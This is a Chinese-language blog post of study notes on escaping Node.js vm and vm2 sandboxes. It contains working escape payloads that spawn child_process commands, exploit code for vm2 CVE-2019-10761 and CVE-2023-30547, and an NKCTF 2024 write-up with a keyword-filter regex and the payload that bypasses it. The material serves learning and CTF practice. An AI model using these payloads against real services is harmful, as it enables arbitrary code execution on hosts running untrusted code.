VM_VM2沙箱逃逸笔记

由 Zacarx 发布

什么是沙箱

沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会通过变量的污染等方式影响主机上的功能,提升安全性。

const vm = require('vm')
global.a = 100;
// 运行在当前环境中[当前作用域]
vm.runInThisContext('console.log(a)'); // 100
// 运行在新的环境中[其他作用域]
vm.runInNewContext('console.log(a)'); // a is not defined

在nodejs中我们引用vm和vm2模块来创建沙箱,不过其同docker一样存在逃逸风险。

vm模块使用

推荐看看官方文档:https://nodejs.cn/api/vm.html
下面我摘几个重要的看看
如刚刚那个例子:

vm.runInThisContext

可以访问到 global上的全局变量,但是访问不到自定义的变量。

vm.runInNewContext

访问不到 global,也访问不到自定义变量,他存在于一个全新的执行上下文。

下面再看几个姿势

vm.createContext([sandbox])

直接看官方例子:

const util = require('util');
const vm = require('vm');

global.globalVar = 3;

const sandbox = { globalVar: 1 };
vm.createContext(sandbox);

vm.runInContext('globalVar *= 2;', sandbox);

console.log(util.inspect(sandbox)); // { globalVar: 2 }

console.log(util.inspect(globalVar)); // 3

给定一个sandbox对象, vm.createContext()会设置此sandbox,从而让它具备在vm.runInContext()或者script.runInContext()中被使用的能力
如果未提供sandbox(或者传入undefined),那么会返回一个全新的,空的,上下文隔离化后的sandbox对象。

vm.runInContext(code, contextifiedSandbox[, options])

vm.runInContext()在指定的contextifiedSandbox的上下文里执行vm.Script对象中被编译后的代码并返回其结果。被执行的代码无法获取本地作用域。contextifiedSandbox必须是事先被vm.createContext()上下文隔离化过的对象。

const util = require('util');
const vm = require('vm');

const sandbox = {
  animal: 'cat',
  count: 2
};

const script = new vm.Script('count += 1; name = "kitty";');

const context = vm.createContext(sandbox);
for (let i = 0; i < 10; ++i) {
  script.runInContext(context);
}

console.log(util.inspect(sandbox));

// { animal: 'cat', count: 12, name: 'kitty' }

vm.Script

vm.Script 类的实例包含可以在特定上下文中执行的预编译脚本。

new vm.Script(code[, options])

创建新的 vm.Script 对象编译 code 但不运行它。编译后的 vm.Script 可以多次运行。code 没有绑定到任何全局对象;相反,它在每次运行之前绑定,仅针对该运行。

const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

VM逃逸

基本思路

Node里要进行rce就需要procces,获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但是如果creatContext后,就不能访问全局变量的procces,所以逃逸的核心就是将global上的process引入到沙箱中。
这里面有一些原型污染的思想在里面,我们看两个经典POC:

vm.runInNewContext(`this.constructor.constructor('return process.env')()`);

this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环境(因为它是在外面创建的)
this.constructor [Function: Object]可以获取当前对象的构造函数,也就是 Function 对象。
this.constructor.constructor [Function: Function]可以进一步获取 Function 对象的构造函数,也就是 Function 构造函数本身。
利用 Function 构造函数,我们可以动态创建一个新的函数

vm.runInNewContext(`this.toString.constructor('return process')()`);
this.toString 可以获取当前对象的 toString() 方法。
this.toString.constructor 可以获取 toString() 方法的构造函数,也就是 Function 对象。
利用 Function 构造函数,我们可以动态创建一个新的函数


然后就能rce了

null_vm沙箱逃逸

this为null,通过函数内置对象属性arguments.callee.caller配合函数自动调用获取。

const vm = require('vm');
const script = 
  //立即执行的箭头函数表达式
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      //由于 toString() 方法是在沙箱环境中定义的,所以 caller 属性会指向沙箱外部的函数,这就是关键所在。
      const p = (cc.constructor.constructor('return process'))();
      //利用 constructor 属性,获取调用函数的构造函数,即 Function 构造函数。
      return p.mainModule.require('child_process').execSync('whoami').toString()
      //加载 child_process 模块,并执行 whoami 命令
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

Proxy的利用

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

先介绍下Proxy
和java有一些类似,但感觉nodejs的要更加生猛一些

let proxy = new Proxy(target, handler)
//target —— 是要包装的对象,可以是任何东西,包括函数。
//handler —— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。
//比如 get 钩子用于读取 target 属性,set 钩子写入 target 属性等等。

看个例子

let numbers = [0, 1, 2];

numbers = new Proxy(numbers, {
  get(target, prop) {
    if (prop in target) {
      return target[prop];
    } else {
      return 0; // 默认值
    }
  }
});

alert( numbers[1] ); // 1
alert( numbers[123] ); // 0 (没有这样的元素)

当我们访问数组对象属性,就会触发get

const vm = require("vm");

const script = 
  `
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.zacarx)

异常抛出利用

类似于直接给了个

 vm.runInContext(script, vm.createContext(Object.create(null)));

无返回值这用情况,我们可以利用异常抛出:

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

可以看出vm的安全性还是比较弱的,因此大部分人用的都是vm2

VM2逃逸

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及proto这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。
vm2的代码包中主要有四个文件

  • cli.js 实现vm2的命令行调用
  • contextify.js 封装了三个对象, Contextify 和 Decontextify ,并且针对 global 的Buffer类进行了代理
  • main.js vm2执行的入口,导出了 NodeVM, VM 这两个沙箱环境,还有一个 VMScript 实际上是封装了 vm.Script
  • sadbox.js针对 global 的一些函数和变量进行了hook,比如 setTimeout,setInterval 等

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装。

下面是几个经典的案例

CVE-2019-10761

https://github.com/advisories/GHSA-wf5x-cr3r-xr77
通过无限递归达到堆栈调用限制,可以从主机而不是“沙盒”上下文触发 RangeError 异常。然后,返回的对象用于引用运行脚本的主机代码的 mainModule 属性,从而允许它生成 child_process 并执行任意代码。
3.6.11之前的vm2:

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

沙箱逃逸说到底就是要从沙箱外获取一个对象,然后获得这个对象的constructor属性,这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。

下面的cve与上面的类似

CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

这个漏洞摘要说明了在 vm2 的版本直到 3.9.16 中存在一个异常处理不当的漏洞,攻击者可以利用这个漏洞在 handleException() 函数内部抛出一个未经过滤的宿主异常(host exception),用于逃离沙盒并在宿主环境中执行任意代码。

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  //定义了异常 err 和一个代理处理程序 handler,其中 getPrototypeOf 方法会通过递归无限调用自己并产生错误的堆栈跟踪,这会导致 Maximum call stack size exceeded 异常
const proxiedErr = new Proxy(err, handler);
//使用 Proxy 对 err 进行代理,并尝试抛出 proxiedErr
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}

练习

2024 NKCTF

js的waf绕过确实了解的不是很多,之后再总结
看下大师傅是怎么绕的:
https://blog.xmcve.com/2024/03/25/NKCTF-2024-Writeup/#title-5

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})

function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})

app.listen(3000, ()=>{
    console.log("listen on 3000");
})

vm逃逸,不难,主要是waf得费点心
这种题要本地调试好,不然环境很容易死
本地先把waf去了,看看能不能跑
这个代码刚才提过:

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

process我们用String.fromCharCode 绕过

mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115))

https://www.anquanke.com/post/id/237032#h3-10
得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval
小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

const b = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes(‘pro’))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));

然后调用集合中的键为process下面的mainModule.require(‘child_process’)的模块
Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes(‘ex’)))去找child_process底层的exec函数。

所以可以写成这样:

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return global'))();
            const b = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
            return Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes('ex')))("calc");
        }
    })

参考链接

https://xz.aliyun.com/t/11859
https://www.nodeapp.cn/vm.html
https://juejin.cn/post/6844904090116292616
https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy
https://blog.csdn.net/qq_61839115/article/details/132120985#t6
https://blog.xmcve.com/2024/03/25/NKCTF-2024-Writeup/#title-5
https://www.anquanke.com/post/id/237032#h3-10


扫描二维码,在手机上阅读

0条评论

发表评论